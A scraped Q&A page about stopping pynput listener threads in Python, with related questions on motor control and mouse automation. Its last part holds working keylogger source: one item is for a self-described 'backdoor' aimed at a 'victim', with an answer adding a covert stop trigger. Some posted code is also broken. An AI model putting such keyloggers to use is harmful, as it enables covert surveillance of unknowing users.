This question already has answers here:
Why does sys.exit() not exit when called inside a thread in Python?
(6 answers)
Closed 1 year ago.
I wrote a script that can draw polylines (it over on github) from ScalableVectorGraphics(.svg) by moving the Mouse accordingly.
When you are handing the control over your mouse to a script, a killswitch is certainly necessary, so I found an example for a Keyboard listener somwhere on the Internet:
def on_press(key):
try:
sys.exit()
print('alphanumeric key {0} pressed'.format(key.char))
print('adsfadfsa')
except AttributeError:
print('special key {0} pressed'.format(
key))
def main():
listener = keyboard.Listener( #TODO fix sys.exit()
on_press=on_press)
listener.start()
if __name__ == '__main__':
main()
It seems to be working: If i add a a print statement before the sys.exit() it is instantly executed properly.
But with sys.exit() it keeps moving my mouse and the python interpreter is still on Taskmanager. I don't know why it keeps executing.
Thank you in advance for your suggestions.
MrSmoer
Solution was: os._exit(1)
Full Sourcecode:
from pynput import mouse as ms
from pynput import keyboard
from pynput.mouse import Button, Controller
import threading
import time
from xml.dom import minidom
import re
sys.path.append('/Users/MrSmoer/Desktop/linedraw-master')
mouse = ms.Controller()
tlc = None
brc = None
brc_available = threading.Event()
biggestY = 0
biggestX = 0
drwblCnvsX = 0
drwblCnvsY = 0
def on_click(x, y, button, pressed):
if not pressed:
# Stop listener
return False
def on_press(key):
try:
sys.exit()
print('alphanumeric key {0} pressed'.format(key.char))
print('adsfadfsa')
except AttributeError:
print('special key {0} pressed'.format(
key))
def initialize():
print("Please select your programm and then click at the two corners of the canvas. Press any key to cancel.")
with ms.Listener(
on_click=on_click) as listener:
listener.join()
print('please middleclick, when you are on top left corner of canvas')
with ms.Listener(
on_click=on_click) as listener:
listener.join()
global tlc
tlc = mouse.position
print('please middleclick, when you are on bottom left corner of canvas')
with ms.Listener(
on_click=on_click) as listener:
listener.join()
global brc
brc = mouse.position
mouse.position = tlc
print('thread finished')
brc_available.set()
def getDrawabableCanvasSize(polylines):
global biggestX
global biggestY
for i in range(len(polylines)): # goes throug all polylines
points = hyphen_split(polylines[i]) # Splits polylines to individual points
for c in range(len(points)): # goes throug all points on polyline
cord = points[c].split(',') # splits points in x and y axis
if float(cord[0]) > (biggestX - 5):
biggestX = float(cord[0]) + 5
if float(cord[1]) > (biggestY - 5):
biggestY = float(cord[1]) + 5
print('TLC: ', tlc)
print('bigX: ', biggestX)
print('bigY: ', biggestY)
cnvswidth = tuple(map(lambda i, j: i - j, brc, tlc))[0]
cnvsheight = tuple(map(lambda i, j: i - j, brc, tlc))[1]
cnvsapr = cnvswidth / cnvsheight
print('Canvasaspr: ', cnvsapr)
drwblcnvaspr = biggestX / biggestY
print('drwnble aspr: ', drwblcnvaspr)
if drwblcnvaspr < cnvsapr: # es mus h vertikal saugend
print('es mus h vertikal saugend')
finalheight = cnvsheight
finalwidth = finalheight * drwblcnvaspr
else: # es muss horizontal saugend, oder aspect ratio ist eh gleich
print('es muss horizontal saugend, oder aspect ratio ist eh gleich')
finalwidth = cnvswidth
scalefactor = finalwidth / biggestX
print(scalefactor)
return scalefactor
def drawPolyline(polyline, scalefactor):
points = hyphen_split(polyline)
#print(points)
beginpoint = tlc
for c in range(len(points)): # goes throug all points on polyline
beginpoint = formatPoint(points[c], scalefactor)
if len(points) > c + 1:
destpoint = formatPoint(points[c + 1], scalefactor)
mouse.position = beginpoint
time.sleep(0.001)
mouse.press(Button.left)
# time.sleep(0.01)
mouse.position = destpoint
# time.sleep(0.01)
mouse.release(Button.left)
else:
destpoint = tlc
#print("finished line")
mouse.release(Button.left)
def formatPoint(p, scale):
strcord = p.split(',')
#print(scale)
#print(tlc)
x = float(strcord[0]) * scale + tlc[0] # + drwblCnvsX/2
y = float(strcord[1]) * scale + tlc[1] # + drwblCnvsY/2
#print('x: ', x)
#print('y: ', y)
thistuple = (int(x), int(y))
return thistuple
def hyphen_split(a):
return re.findall("[^,]+\,[^,]+", a)
# ['id|tag1', 'id|tag2', 'id|tag3', 'id|tag4']
def main():
listener = keyboard.Listener( #TODO fix sys.exit()
on_press=on_press)
listener.start()
thread = threading.Thread(target=initialize()) #waits for initializing function (two dots)
thread.start()
brc_available.wait()
# print(sys.argv[1])
doc = minidom.parse('/Users/MrSmoer/Desktop/linedraw-master/output/out.svg') # parseString also exists
try:
if sys.argv[1] == '-ip':
doc = minidom.parse(sys.argv[2])
except IndexError:
print('Somethings incorrect1')
polylines = NotImplemented
try:
doc = minidom.parse('/Users/MrSmoer/Desktop/linedraw-master/output/out.svg') # parseString also exists
# /Users/MrSmoer/Desktop/linedraw-master/output/output2.svg
#doc = minidom.parse('/Users/MrSmoer/Desktop/Test.svg')
polylines = [path.getAttribute('points') for path
in doc.getElementsByTagName('polyline')]
doc.unlink()
except:
print('Somethings incorrect3')
# print(polylines)
scalefactor = getDrawabableCanvasSize(polylines)
for i in range(len(polylines)):
drawPolyline(polylines[i], scalefactor)
if __name__ == '__main__':
main()
Sometimes, when writing a multithreadded app, raise SystemExit and sys.exit() both kills only the running thread. On the other hand, os._exit() exits the whole process.
While you should generally prefer sys.exit because it is more "friendly" to other code, all it actually does is raise an exception.
If you are sure that you need to exit a process immediately, and you might be inside of some exception handler which would catch SystemExit, there is another function - os._exit - which terminates immediately at the C level and does not perform any of the normal tear-down of the interpreter
A simple way to terminate a Python script early is to use the built-in quit() function. There is no need to import any library, and it is efficient and simple.
Example:
#do stuff
if this == that:
quit()
You may try these options!!
Hope it works fine!! If not tell us, we will try more solutions!
That sys.exit() ends up killing the thread that it's executing it, but you program seems to take advantage of multiple threads.
You will need to kill all the threads of the program including the main one if you want to exit.
Related
I currently have a piece of code designed to communicate with two motors via a TCP Device Server which sends ASCII commands to them in order to trace sinusoidal paths. I wish to have the movement continue indefinitely and then immediately stop when KeyboardInterrupt is triggered, then have the motors move back to their defined home positions before the program ends.
This code can currently replicate sinusodial motion, but it currently does not stop immediately when KeyboardInterrupt is triggered, nor do the motors move back to their home positions. The sinusodial loop is designed such that when KeyboardInterrupt occurs, a global variable called move changes from True to False and this breaks the loop. The simplified code is given below:
import socket
import time
import numpy as np
import math
pi = math.pi
try:
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #TCP Server Connection
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except:
print("Failed to connect")
exit()
print("Sockets Created")
s1.connect(("192.168.177.200", 4001)) # Y motor
s2.connect(("192.168.177.200", 4002)) # X motor
# Disengage the motor to allow manual movement by wheel
s1.send("DI\n".encode("ASCII"))
message = s1.recv(1024).decode()
s2.send("DI\n".encode("ASCII"))
message = s1.recv(1024).decode()
homeposition = input("Are the motors centred? Press 'y' to confirm: ")
if homeposition == 'y':
s1.send("EN\n".encode("ASCII"))
s2.send("EN\n".encode("ASCII")) # energise the motors so they cannot be moved
print("Motors Engaged")
s1.send("HO\n".encode("ASCII")) # set current position as home position
s2.send("HO\n".encode("ASCII")) # set current position as home position
else:
print("Set home position and restart program")
exit()
#----ADD DATA FOR SAMPLING SINUSODIAL FUNCTIONS----
radius = input("Desired radius of movement (mm):")
radius = float(radius)
print("radius of circular path (mm): ", radius)
# need slightly different ratios for each motor due to different thread sizes
gearpositionlim_x = 20000 #one rotation equals 2.5mm (+ bearing ration on manipulator of 2:1)
gearpositionlim_y = 10000 #one rotation equals 2mm
# sample sine and cosine
step = 2*pi / 1000
time_range = np.arange(0,2*pi + step,step)
x_motorrange = gearpositionlim_x*np.cos(time_range)
y_motorrange = gearpositionlim_y*np.sin(time_range)
x_motorrange = ['la'+str(int(i)) for i in x_motorrange]
y_motorrange = ['la'+str(int(i)) for i in y_motorrange]
#print(x_motorrange)
x_motorrange_wcom = []
y_motorrange_wcom = []
{x_motorrange_wcom.extend([e, 'm', 'np']) for e in x_motorrange} # add movement prompts and wait for movement to complete
{y_motorrange_wcom.extend([e, 'm', 'np']) for e in y_motorrange} # add movement prompts and wait for movement to complete
# Set Acceleration and Deceleration of Motors
s1.send("AC10\n".encode("ASCII"))
message = s1.recv(1024).decode()
s2.send("AC10\n".encode("ASCII"))
message = s2.recv(1024).decode()
print("Acceleration set to 10 ")
s1.send("DEC10\n".encode("ASCII"))
message = s1.recv(1024).decode()
s2.send("DEC10\n".encode("ASCII"))
message = s2.recv(1024).decode()
print("Deceleration set to 10")
def setup(): #move to initial position before starting movement
s2.send(str(str(x_motorrange_wcom[0])+"\n").encode("ASCII"))
s2.send("m\n".encode("ASCII"))
s2.send("np\n".encode("ASCII"))
s2.send("delay200\n".encode("ASCII"))
def end():
print("Movement ended, return to home position")
s1.send("la0\n".encode("ASCII"))
s1.send("m\n".encode("ASCII"))
s1.send("np\n".encode("ASCII"))
s1.send("delay200\n".encode("ASCII"))
s1.send("DI\n".encode("ASCII"))
s1.send("delay200\n".encode("ASCII"))
time.sleep(2)
s2.send("la0\n".encode("ASCII"))
s2.send("m\n".encode("ASCII"))
s2.send("np\n".encode("ASCII"))
s2.send("delay200\n".encode("ASCII"))
s2.send("DI\n".encode("ASCII"))
s2.send("delay200\n".encode("ASCII"))
def motormove():
global move
try:
for i in np.arange(0,len(x_motorrange)):
if (move == True):
s1.send(str(str(x_motorrange[i])+"\n").encode("ASCII"))
s2.send(str(str(y_motorrange[i])+"\n").encode("ASCII"))
else:
break
except KeyboardInterrupt:
move = False
print(move)
end()
#-------------------------------------------
setup()
name = input("Code Ready, press enter to proceed: ")
if name == "":
print("Code Running: Press ctrl + c to end")
while (move == True):
motormove()
I believe my issue is with my function motormove(), but I am unsure of what I should do in order to achieve my desired operation. Does anyone know how this can be achieved?
Thanks in advance
Using library signal should be sufficient for your usecase. See code bellow.
import socket
import signal
import time
import numpy as np
import math
pi = math.pi
try:
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #TCP Server Connection
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except:
print("Failed to connect")
exit()
print("Sockets Created")
s1.send("HO\n".encode("ASCII")) # set current position as home position
s2.send("HO\n".encode("ASCII")) # set current position as home position
gearpositionlim = int(10000)
# sample sine and cosine
step = 2*pi / 2000
time_range = np.arange(0,2*pi + step,step)
x_motorrange = gearpositionlim*np.sin(time_range)
y_motorrange = gearpositionlim*np.cos(time_range)
def handler(signum, frame):
res = input("Ctrl-c was pressed. Do you really want to exit? y/n ")
if res == 'y':
exit(1)
else:
#Do STH
def setup():
s2.send(y_motorrange[0])+"\n").encode("ASCII"))
s2.send("m\n".encode("ASCII"))
s2.send("np\n".encode("ASCII"))
s2.send("delay200\n".encode("ASCII"))
def end():
print("Movement ended, return to home position")
s1.send("la0\n".encode("ASCII"))
s1.send("m\n".encode("ASCII"))
s1.send("np\n".encode("ASCII"))
s1.send("delay200\n".encode("ASCII"))
s1.send("DI\n".encode("ASCII"))
s1.send("delay200\n".encode("ASCII"))
time.sleep(2)
s2.send("la0\n".encode("ASCII"))
s2.send("m\n".encode("ASCII"))
s2.send("np\n".encode("ASCII"))
s2.send("delay200\n".encode("ASCII"))
s2.send("DI\n".encode("ASCII"))
s2.send("delay200\n".encode("ASCII"))
def motormove():
global move
try:
for i in np.arange(0,len(x_motorrange)):
if (move == True):
s1.send(str(str(x_motorrange[i])+"\n").encode("ASCII"))
s2.send(str(str(y_motorrange[i])+"\n").encode("ASCII"))
else:
break
except KeyboardInterrupt:
signal.signal(signal.SIGINT, handler)
#-------------------------------------------
setup()
name = input("Code Ready, press enter to proceed: ")
if name == "":
print("Code Running: Press ctrl + c to end")
while (move == True):
motormove()
This should be working just fine, note the signal function being called on KeyboardInterrupt, this redirects to signal function where, you can either exit or do something else.
import time
import pyautogui
from pyautogui import *
import keyboard
from PIL import ImageGrab
import os
import win32api, win32con
import cv2
import pyperclip
from pynput.keyboard import Key, Listener
import pytesseract
##1340,182, 1777, 213
test = 0
def alertf1(c):
global test
while c == 1:
if keyboard.is_pressed('f1'): # if key 'f1' is pressed
print('f1 has been pressed')
c = 0
time.sleep(0.1)
test = test + 1
break
else:
print('checking if anything is destroyed')
time.sleep(1)
if pyautogui.locateOnScreen('destroy2.png', region=(1340,182, 1777, 230)):
print('something got destroyed!')
time.sleep(0.1)
pyautogui.keyDown('ctrl')
time.sleep(0.1)
pyautogui.keyDown('tab')
pyautogui.keyUp('ctrl')
pyautogui.keyUp('tab')
time.sleep(0.5)
for char in '#':
pyperclip.copy(char)
pyautogui.hotkey('ctrl', 'v', interval=0.1)
time.sleep(0.1)
pyautogui.write('everyone Enemies/Red Logs! Something has been destroyed.')
time.sleep(0.1)
pyautogui.press('enter')
time.sleep(5)
pyautogui.click(x=1860, y=50)
time.sleep(5)
else:
if keyboard.is_pressed('f1'): # if key 'f1' is pressed
print('f1 has been pressed')
c = 0
time.sleep(0.1)
test = test + 1
break
def on_press(key):
global test
if test > 0 and key == Key.f1:
c = 0
if key == Key.f1 and test == 0:
print('before alert f1 pressed')
time.sleep(0.1)
test = test + 1
alertf1(1)
if key == Key.f1 and test > 1:
test = 0
with Listener(on_press=on_press) as listener:
listener.join()
def main():
while True:
time.sleep(0.1)
print('on press going now')
on_press(key)
if __name__ == '__main__':
main()
my issue is that i want the turn on / off switch to use hte same key
and i can't think of a way to distinguish between when I press the key and when the program is simply on loop.
like F1 will start function alert, which will loop eternally, until I press F1, issue is that, if keyboard.is_pressed('f1'): isn't a great solution
because if code is somewhere else it wont recognize i pressed f1
Im trying to move my Cursor every three seconds and if it went too far, reset it to its original location. I want the program to stop after I press any key on the keyboard.
It doesnt seem to work though... what could I be missing? This is what I came up with:
import win32api, win32con, time, sys, msvcrt
global z
z=10
def kbfunc():
#this is boolean for whether the keyboard has bene hit
x = msvcrt.kbhit()
if x:
sys.exit
else:
ret = False
return ret
def move(x,y):
win32api.mouse_event(win32con.MOUSEEVENTF_MOVE | win32con.MOUSEEVENTF_ABSOLUTE, int(x/1920*65535.0), int(y/1080*65535.0))
while True:
move(960,540+z)
time.sleep(3)
if z>100:
move(960,540)
z += -100
z + 10
kbfunc()
First, you need to install the keyboard module:
pip3 install keyboard
And than add it to your loop:
import keyboard
while True:
move(960,540+z)
time.sleep(3)
if z>100:
move(960,540)
z += -100
z + 10
if keyboard.is_pressed('q'): # if key 'q' is pressed
print('You Pressed A Key!')
break # finishing the loop
I would guess that msvcrt.kbhit() does not store previous hits. It only tells you if a key is hit at the current moment in time. You can loop checking for keyboard hits. If no hits before 3 seconds, return:
import time
import msvcrt
import sys
def kbfunc(max_time=3):
start = time.time()
while not msvcrt.kbhit():
end = time.time()
if end - start >= max_time:
break
else:
sys.exit()
After trying around with the given answers, the finished solution looks like this:
global z
z=10
def move():
mouse.move(10, 10, absolute=False, duration=1)
def moveback():
mouse.move(-10, -10, absolute=False, duration=1)
while True:
move()
time.sleep(3)
moveback()
if keyboard.is_pressed('q'): # if key 'q' is pressed
break # finishing the loop
I started a little backdoor and i use a keylogger in it.
I use the pynput library and i wanted to know if it's possible to stop the pynput listener from an outside function or in the main loop.
Here is a code snippet :
class KeyLoggerThread(threading.Thread):
global Quit
def __init__(self):
super().__init__()
def run(self):
logging.basicConfig(filename="keys.log",level=logging.DEBUG, format='%(asctime)s %(message)s')
def on_press(key):
logging.debug(str(key))
if key == Key.esc:
return False
with Listener(on_press = on_press) as listener:
listener.join()
Right now, i have to use the esc key with is not very practical due to the fact that this keylogger is used in my backdoor so when the victim press esc it quit the keylogger.
What i really want is to send a signal whenever i want to stop it (not from a key).
Thanks in advance, have a nice day !
You talk about keylogger... yeah, if you want a signal but not from a key then buy a remoter :))
In this sample code I maked a combo of 3 different things for password to not close listener events by mistake.
Hold middle/wheel mouse button, write a word ex.#admin (tap that key characters) and make shore you hade some text copyed... PS. I do not know to many peoples who write on keyboard with hand on mouse and holding the weel in the same time... That is just an example, be creative.
#// IMPORTS
import pyperclip
from pynput import keyboard, mouse
keylogger_stop = False
# password = [Boolean, String_1, String_2]
# Boolean - Need to hold mouse middle mutton, if you
# released befoure to finish, well try again
# String_1 - Write that password/word. Special keys
# are ignored (alt, ctrl, cmd, shift etc.)
# String 2 - You need to have this text copyed (Ctrl + C)
# and after you finish to write manual String_1
password = [False, "#dmin", ">> Double $$$ check! <<"]
pass_type = ""
class Keylogger:
def __init__(self):
Keylogger.Keyboard.Listener()
Keylogger.Mouse.Listener()
class Keyboard:
def Press(key):
if keylogger_stop == True: return False
else: print(f"K_K_P: {key}")
def Release(key):
global pass_type, keylogger_stop
# get copyed string + holding right mouse button pressed
if password[0] == True and pass_type == password[1]:
if pyperclip.paste().strip() == password[2]: keylogger_stop = True
else: password[0] = False; pass_type = ""
# write string password/word + holding right mouse button pressed
elif password[0] == True:
try: pass_type += key.char; print(pass_type, password[0])
except: pass
else: print(f"K_K_R: {key}")
def Listener():
l = keyboard.Listener(on_press = Keylogger.Keyboard.Press,
on_release = Keylogger.Keyboard.Release)
l.start()
class Mouse:
def Click(x, y, b, p):
global pass_type
if keylogger_stop == True: return False
# hold mouse button pressed, on release will reset the progress
elif b == mouse.Button.middle:
if p == True: password[0] = True
else: password[0] = False; pass_type = ""
else: print(f"{b} was {'pressed' if p else 'released'} at ({x} x {y})")
def Listener():
mouse.Listener(on_click = Keylogger.Mouse.Click).start()
class Main:
def __init__(self):
Keylogger()
#// RUN IF THIS FILE IS THE MAIN ONE
if __name__ == "__main__":
Main()
Next year I will study applied informatics with the focus on IT Security, but I already wanna learn even more Python and about IT Security. So I tried to write a KeyLogger, which is good and works. Code later. It logs the Keyboard input and the mouse input. Now I wanna try this: I wanna have the trigger from the events: comes the input from the device, or from a bad program (then I will have the process id)?
I would prefer to complete this with python code, maybe with a C/C++ library, if absolutely necessary I also would learn it with another language. But I didn´t find a solution for my problem after days of searching...
Later I wanna also make this as a service, or at least that the user can´t see the Keylogger. (No, I´m a good boy, it´s 100% for my own to learn this and how to protect, I have 3 computers and wanna create a little test laboratory).
It would yet be a great help if you give me links or books to learn the necessary knowledge!
Here´s the code:
# coding=utf-8
from pynput import mouse, keyboard
import threading
import time
run = True
f = open("log.txt", "w")
def on_press(key):
global run
if run:
try:
log('{0} pressed'.format(key.char))
except AttributeError:
log('{0} pressed'.format(key))
except UnicodeEncodeError:
log('{0} pressed'.format(key))
# DEMO/DEBUG (hit Esc to stop)
if key == keyboard.Key.esc:
run = False # to close the mouse listener
stop()
if not run:
stop()
def on_release(key):
if run:
try:
log('{0} released'.format(key.char))
except AttributeError:
log('{0} released'.format(key))
except UnicodeEncodeError:
log('{0} released'.format(key.char.encode("utf-8")))
if not run:
stop()
def on_click(x, y, button, pressed):
if run:
log('{0} {1} at {2}'.format(button, 'Pressed'
if pressed else 'Released', (x, y)))
# DEBUG/DEMO (you have to click somewhere after pressing "esc")
if not run:
stop()
def on_scroll(x, y, dx, dy):
if run:
dirx = ''
diry = ''
if dy > 0:
dirx = 'up'
elif dy < 0:
dirx = 'down'
if dx > 0:
dirx = 'rigth'
elif dx < 0:
dirx = 'left'
log('Scrolled {0} to {1}{2}'.format((x, y), dirx, diry))
if not run:
stop()
def log(str):
print(str)
# if lastTask != str:
f.write(keep_distance(str) + time.asctime() + "\n") # log "str" beautiefully in the f
# global lastTask = str
def keep_distance(str, distance=38):
"""Add a buffer behind the string.
(To show it nicely in a table.)"""
buffer_len = distance - str.count('')
buffer = ''
buffer = ''
buffer = ''
for i in range(buffer_len):
buffer += ' '
return str + buffer
def stop():
print("KeyLogger stopped...")
log("KeyLogger stopped...")
exit(0)
class Logger(threading.Thread):
def __init__(self, device):
threading.Thread.__init__(self)
self.device = device
self.start()
def run(self):
if self.device == "mouse":
with mouse.Listener(on_click=on_click, on_scroll=on_scroll) as listener:
listener.join()
elif self.device == "keyboard":
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
mouse_log = Logger("mouse")
kb_log = Logger("keyboard")